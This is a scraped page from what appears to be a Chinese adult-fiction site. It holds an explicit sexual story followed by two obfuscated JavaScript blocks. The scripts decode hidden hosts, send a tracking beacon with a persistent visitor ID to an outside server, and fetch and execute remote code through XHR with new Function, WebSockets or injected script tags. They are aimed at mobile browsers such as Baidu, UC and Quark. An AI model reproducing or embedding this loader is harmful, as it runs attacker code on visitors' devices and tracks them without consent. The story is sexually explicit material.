“小骚货,看把你给舒服的!”

“因为我在操叔叔你啊!”

我喜欢做爱的时候被叫做骚货,这让我感觉自己像个女人,让男人着迷:“我伺候得你舒服么?叔叔。”

“舒服!叔叔的鸡巴以后都离不开你了,怎么办?嗯……”

老李的表情十足是一个男人在干女人时满足的样子。这让我也有了满足感,

这大概也像你们男人在干女人的时候很在意女人的感觉是一个样子吧?

我更勤奋而有力地在老李腿上起起落落,巨大的鸡巴充实地次次深深插入我的肉穴,

犹如擎天之柱一般的鸡巴高高而立,每一次的插入都直顶花心,每一次的抽出都淫水涟漪。

“我也离不开你的大鸡巴了!啊……叔∼∼叔叔……我不行了……啊∼∼”

就在我快受不了这舒服的感觉,将要高潮的时候,腿却不争气的没了力气,

我趴到老李宽厚的肩膀上说:“快救救我……”

老李一把将我抱了起来放在了一旁的写字桌上(现在宿舍的床都是一体的,下面是衣橱和写字桌,上面是床),两手托起我的腿,疯狂地开始抽插起来。我难受得想叫又不敢叫,只能勉强用双臂支撑着我的身体。

“叔叔……你……快干死我了!”

我是双乳随着老李的抽插而动荡着,而他的身子撞击我时也发出“啪!啪!”的声音,

这一切的一切都让我痴迷。

后来老李告诉我才知道,因为我以前的性事比较少,所以阴道比较狭窄的关系,

让老李的大鸡巴可以全方位地享受被包裹,所以他是真的疯狂迷恋操我的感觉,总是会很快就射精。

我也暗自庆幸他的“失常”,不然还不每次都被他干死啦!后来我经常在他的出租房里被他干到出血。

也不知道到底干了多少回合,他又一把将我拉下地来,拽到窗户边让我双手支在窗台上,

双腿分开、弯腰撅屁股,在手上吐了口唾沫擦在他的鸡巴头上,然后就要用力往我的屁眼里插,

我吓得“啊”的一声就跳开了。

我很认真地看着他说:“不行∼∼我没试过,也会受不了的。”

“我也没试过,呵呵……”

老李傻傻一笑又将我的身子扳了回去,只是这次他像是赌气一般的一个用力直挺挺地插进了我的阴穴中。

我将腰弯得更低,也方便让老李能插得更深入些。月光洒在我们俩的身上,我看不见身后的老李是什么样子,

只能看见身前自己的双乳前后疯狂地震荡着。

我们俩已经浑身是汗,我的肉穴受不了这么长久疯狂的抽插,在几次高潮之后已经没什么知觉了,

开始收缩的小穴紧紧地包裹着老李的鸡巴。

我转过身自己坐到窗台上,拉过老李将他的鸡巴再次放进我那已经快干枯的小穴里。

老李看出我有些愁眉苦脸的样子,可还是让他继续干我,很是兴奋,又开始玩命地疯狂抽插起来。

我抱着老李,轻轻的说道:“亲爱的,快射吧!小骚穴快被你干废了……”

说着,仰起头将舌头伸进了他的嘴里,从他的嘴里吸取甘汁,拉过他的手放在了我的乳房上揉了起来。


上一篇:肉欲满堂

下一篇:员工宿舍的淫路历程


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};